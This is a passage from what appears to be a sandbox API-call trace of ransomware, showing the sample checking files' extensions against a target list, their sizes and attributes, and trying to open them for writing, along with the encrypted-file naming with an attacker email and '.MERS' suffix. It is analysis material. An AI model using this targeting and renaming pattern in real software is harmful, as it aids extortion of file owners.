lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString=".rar") returned 4 [0039.626] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString=".bz2") returned 4 [0039.626] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.626] lstrlenW (lpString=".7z") returned 3 [0039.627] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString=".dbf") returned 4 [0039.627] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString=".1cd") returned 4 [0039.627] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString=".jpg") returned 4 [0039.627] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString=".doc") returned 4 [0039.627] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString=".docx") returned 5 [0039.627] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.627] lstrlenW (lpString=".pdf") returned 4 [0039.627] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString=".xls") returned 4 [0039.627] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString=".xlsx") returned 5 [0039.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.627] lstrlenW (lpString=".ppt") returned 4 [0039.627] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString=".zip") returned 4 [0039.627] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString=".rar") returned 4 [0039.627] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString=".bz2") returned 4 [0039.627] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.627] lstrlenW (lpString=".7z") returned 3 [0039.627] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.627] lstrlenW (lpString=".dbf") returned 4 [0039.627] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.628] lstrlenW (lpString=".1cd") returned 4 [0039.628] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0039.628] lstrlenW (lpString=".jpg") returned 4 [0039.628] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.628] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0039.628] lstrlenW (lpString="correct.avi") returned 11 [0039.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0039.628] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=197120) returned 1 [0039.628] CloseHandle (hObject=0x184) returned 1 [0039.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0039.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString=".doc") returned 4 [0039.629] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString=".docx") returned 5 [0039.629] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.629] lstrlenW (lpString=".pdf") returned 4 [0039.629] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString=".xls") returned 4 [0039.629] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString=".xlsx") returned 5 [0039.629] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.629] lstrlenW (lpString=".ppt") returned 4 [0039.629] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString=".zip") returned 4 [0039.629] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString=".rar") returned 4 [0039.629] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString=".bz2") returned 4 [0039.629] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString=".7z") returned 3 [0039.629] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString=".dbf") returned 4 [0039.629] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString=".1cd") returned 4 [0039.629] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString=".jpg") returned 4 [0039.629] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.629] lstrlenW (lpString=".doc") returned 4 [0039.630] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString=".docx") returned 5 [0039.630] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.630] lstrlenW (lpString=".pdf") returned 4 [0039.630] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString=".xls") returned 4 [0039.630] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString=".xlsx") returned 5 [0039.630] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.630] lstrlenW (lpString=".ppt") returned 4 [0039.630] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.630] lstrlenW (lpString=".zip") returned 4 [0039.630] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString=".rar") returned 4 [0039.630] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString=".bz2") returned 4 [0039.630] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString=".7z") returned 3 [0039.630] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.630] lstrlenW (lpString=".dbf") returned 4 [0039.630] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.630] lstrlenW (lpString=".1cd") returned 4 [0039.630] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0039.630] lstrlenW (lpString=".jpg") returned 4 [0039.630] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.630] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0039.631] lstrlenW (lpString="delete.avi") returned 10 [0039.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0039.631] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=224256) returned 1 [0039.631] CloseHandle (hObject=0x1d4) returned 1 [0039.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0039.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.632] lstrlenW (lpString=".doc") returned 4 [0039.632] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString=".docx") returned 5 [0039.632] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0039.632] lstrlenW (lpString=".pdf") returned 4 [0039.632] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString=".xls") returned 4 [0039.632] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString=".xlsx") returned 5 [0039.632] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0039.632] lstrlenW (lpString=".ppt") returned 4 [0039.632] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.632] lstrlenW (lpString=".zip") returned 4 [0039.632] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString=".rar") returned 4 [0039.632] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString=".bz2") returned 4 [0039.632] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString=".7z") returned 3 [0039.632] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.632] lstrlenW (lpString=".dbf") returned 4 [0039.632] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.632] lstrlenW (lpString=".1cd") returned 4 [0039.632] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.633] lstrlenW (lpString=".jpg") returned 4 [0039.633] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.633] lstrlenW (lpString=".doc") returned 4 [0039.633] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString=".docx") returned 5 [0039.633] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0039.633] lstrlenW (lpString=".pdf") returned 4 [0039.633] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString=".xls") returned 4 [0039.633] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString=".xlsx") returned 5 [0039.633] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0039.633] lstrlenW (lpString=".ppt") returned 4 [0039.633] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.633] lstrlenW (lpString=".zip") returned 4 [0039.633] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString=".rar") returned 4 [0039.633] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString=".bz2") returned 4 [0039.633] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString=".7z") returned 3 [0039.633] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.633] lstrlenW (lpString=".dbf") returned 4 [0039.633] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.633] lstrlenW (lpString=".1cd") returned 4 [0039.633] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0039.634] lstrlenW (lpString=".jpg") returned 4 [0039.634] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.634] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0039.634] lstrlenW (lpString="join.avi") returned 8 [0039.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0039.634] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=222208) returned 1 [0039.634] CloseHandle (hObject=0x1d4) returned 1 [0039.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0039.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.634] lstrlenW (lpString=".doc") returned 4 [0039.635] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".docx") returned 5 [0039.635] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0039.635] lstrlenW (lpString=".pdf") returned 4 [0039.635] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".xls") returned 4 [0039.635] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".xlsx") returned 5 [0039.635] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0039.635] lstrlenW (lpString=".ppt") returned 4 [0039.635] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.635] lstrlenW (lpString=".zip") returned 4 [0039.635] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".rar") returned 4 [0039.635] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".bz2") returned 4 [0039.635] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".7z") returned 3 [0039.635] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.635] lstrlenW (lpString=".dbf") returned 4 [0039.635] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.635] lstrlenW (lpString=".1cd") returned 4 [0039.635] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.635] lstrlenW (lpString=".jpg") returned 4 [0039.635] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.635] lstrlenW (lpString=".doc") returned 4 [0039.635] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.635] lstrlenW (lpString=".docx") returned 5 [0039.636] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0039.636] lstrlenW (lpString=".pdf") returned 4 [0039.636] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString=".xls") returned 4 [0039.636] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString=".xlsx") returned 5 [0039.636] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0039.636] lstrlenW (lpString=".ppt") returned 4 [0039.636] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.636] lstrlenW (lpString=".zip") returned 4 [0039.636] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString=".rar") returned 4 [0039.636] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString=".bz2") returned 4 [0039.636] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString=".7z") returned 3 [0039.636] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.636] lstrlenW (lpString=".dbf") returned 4 [0039.636] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.636] lstrlenW (lpString=".1cd") returned 4 [0039.636] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0039.636] lstrlenW (lpString=".jpg") returned 4 [0039.636] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.636] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0039.636] lstrlenW (lpString="split.avi") returned 9 [0039.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0039.637] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=194048) returned 1 [0039.637] CloseHandle (hObject=0x1d4) returned 1 [0039.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0039.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0039.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.637] lstrlenW (lpString=".doc") returned 4 [0039.637] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.637] lstrlenW (lpString=".docx") returned 5 [0039.637] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.637] lstrlenW (lpString=".pdf") returned 4 [0039.637] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.637] lstrlenW (lpString=".xls") returned 4 [0039.637] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.637] lstrlenW (lpString=".xlsx") returned 5 [0039.637] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.637] lstrlenW (lpString=".ppt") returned 4 [0039.637] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.637] lstrlenW (lpString=".zip") returned 4 [0039.637] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.637] lstrlenW (lpString=".rar") returned 4 [0039.637] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString=".bz2") returned 4 [0039.638] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString=".7z") returned 3 [0039.638] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.638] lstrlenW (lpString=".dbf") returned 4 [0039.638] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.638] lstrlenW (lpString=".1cd") returned 4 [0039.638] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.638] lstrlenW (lpString=".jpg") returned 4 [0039.638] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.638] lstrlenW (lpString=".doc") returned 4 [0039.638] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString=".docx") returned 5 [0039.638] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0039.638] lstrlenW (lpString=".pdf") returned 4 [0039.638] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString=".xls") returned 4 [0039.638] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString=".xlsx") returned 5 [0039.638] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0039.638] lstrlenW (lpString=".ppt") returned 4 [0039.638] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.638] lstrlenW (lpString=".zip") returned 4 [0039.638] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0039.638] lstrlenW (lpString=".rar") returned 4 [0039.639] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0039.639] lstrlenW (lpString=".bz2") returned 4 [0039.639] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0039.639] lstrlenW (lpString=".7z") returned 3 [0039.639] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0039.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.639] lstrlenW (lpString=".dbf") returned 4 [0039.639] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0039.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.639] lstrlenW (lpString=".1cd") returned 4 [0039.639] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0039.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0039.639] lstrlenW (lpString=".jpg") returned 4 [0039.639] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0039.639] lstrcmpiW (lpString1=".avi", lpString2=".MERS") returned -1 [0039.639] 